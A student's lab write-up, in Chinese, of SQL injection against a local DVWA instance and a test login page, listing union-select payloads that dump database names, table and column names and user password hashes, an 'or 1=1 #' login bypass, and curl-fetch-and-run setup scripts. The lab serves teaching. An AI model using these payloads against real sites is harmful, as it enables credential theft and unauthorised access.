2022-2023-1 20222822《Linux内核原理与分析》第十三周作业

一,实验介绍

1.1 实验知识点

SQL 注入漏洞的原理
SQL 注入漏洞的分类
如何寻找注入点
如何判断注入类型
SQL 注入的利用技巧

1.2 SQL 注入漏洞原理简介

SQL 注入攻击是通过将恶意的 SQL 语句插入到应用的输入参数中,再在后台数据库服务器上解析执行进行的攻击,它是目前黑客对数据库进行攻击的最常用手段之一。

二,Web程序三层架构

2.1 三层架构

三层架构通常意义上就是将整个业务应用划分为,区分层次的目的即为了“高内聚低耦合”的思想。
界面层(User Interface layer)
业务逻辑层(Business Logic Layer)
数据访问层(Data access layer)。
在这里插入图片描述
访问Web服务器的具体过程.。如用户通过浏览器访问蓝桥云课主页, 经历了以下过程:

1.在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。

2.业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

3.脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 SQL 语句。

4.数据访问层的数据库管理系统返回 SQL 语句执行结果给 Web 服务器。

5.业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

6.表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

2.2 SQL 注入攻击步骤

通常来说,SQL 注入攻击可以分为以下 5 个步骤:
在这里插入图片描述
寻找注入点:指找到存在 SQL 注入的参数,SQL 注入大多发生在 GET 或 POST 请求的参数中,当然也有可能发生在其他地方,例如 UserAgent、Cookie 等

判断注入类型/数据库类型:SQL 注入按照不同的分类标准,可以分成不同的种类。按照参数类型可分为两种:数字型和字符型。

根据数据库返回的结果,可分为回显注入、报错注入、盲注。按照注入方法,还可以分为联合注入、堆叠注入、宽字节注入、延时注入等。

猜解数据库名:猜解后台数据库的库名。

猜解数据表名:成功猜解到数据库名称后,进一步猜解某一个特定数据库中数据表的名称。

猜解数据字段名:最后是某个特定数据库中特定数据表中的字段,因为获取到字段才能查询数据

三,SQL 注入示例一:使用 SQL 注入进行爆库

3.1 部署环境

在终端运行以下命令进行部署环境

curl 'https://labfile.oss.aliyuncs.com/courses/3471/3471-sql-init-1.sh' > ~/3471-sql-init-1.sh;chmod +x ~/3471-sql-init-1.sh;./3471-sql-init-1.sh

在这里插入图片描述

3.2 测试

然后打开桌面上的 Firefox 浏览器,访问以下网址 :http://localhost/dvwasql
在这里插入图片描述
稍微等待几秒后,会自动跳转到登录界面,默认用户名为 admin 密码为 password。
在这里插入图片描述
手动将 Security 级别调整为 low,注意需要点击 Submit 使设置生效:
在这里插入图片描述

3.3 寻找注入点

点击左侧的 SQL injection 页面开始注入:先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数):在这里插入图片描述
点击 view source 查看源代码:
在这里插入图片描述
在参数 id 后面加一个单引号试试:
在这里插入图片描述

3.4 确定注入类型

输入 1’ order by 1# 和 1’ order by 2# 时都返回正常:在这里插入图片描述
在这里插入图片描述
当输入 1’ order by 3# 时,返回错误:
在这里插入图片描述
由此可知,users 表中只有两个字段,数据为两列。
知道字段数为 2 之后,接下来就可以使用 union select 联合查询继续获取信息。
输入以下进行查询:

1' union select version(),@@version_compile_os#

在这里插入图片描述
实际执行的sql语句

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通过上图返回信息,我们又成功获取到:
当前数据库版本为 : 10.4.17-MariaDB-1:10.4.17+maria~xenial
当前操作系统为 :bashdebian-linux-gnu

3.5 查询数据库名

查询数据库名的方法非常简单,只需要执行以下语句进行查询即可 :

1' union select database(),user()#

在这里插入图片描述
实际执行的sql语句

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

通过上图返回信息,我们成功获取到:
当前网站使用数据库为 dvwa
当前执行查询用户名为 root@localhost

3.6 查询数据库表名

输入以下语句进行查询:

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

在这里插入图片描述
实际执行的sql语句

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通过上图返回信息,我们可以知道以下信息:
dvwa 数据库有 2 个数据表
表名为 guestbookusers

3.7 猜解数据库字段名及爆库

输入以下语句查询 users 表中的字段信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述
从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#进行查询。
在这里插入图片描述
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/ 查询解密:
在这里插入图片描述
在这里插入图片描述

四,使用 SQL 注入绕过登录

4.1 部署环境:

curl 'https://labfile.oss.aliyuncs.com/courses/3471/3471-sql-init-2.sh' > ~/3471-sql-init-2.sh;chmod +x ~/3471-sql-init-2.sh;./3471-sql-init-2.sh

4.2 初始化数据

通过火狐浏览器访问http://localhost/sql2,并按下图所示进行初始化数据。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.3 开始测试

准备工作完成之后,先尝试用123作为用户名和密码进行登录,提交之后显示登录失败。

在这里插入图片描述
查看后台sql执行代码
在这里插入图片描述
实际执行的操作

select * from users where username='123' and password='123'

用户名:123’ or 1=1 # 密码:123’ or 1=1 #
在这里插入图片描述
显示登录成功
在这里插入图片描述
实际执行的sql语句

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

用户名:123’ or ‘1’=‘1 密码:123’ or ‘1’='1,结果显示也是登录成功。
在这里插入图片描述
实际执行的sql语句

select * from users where username='123' or '1'='1' and password='123' or '1'='1'
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

20222822王文博

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值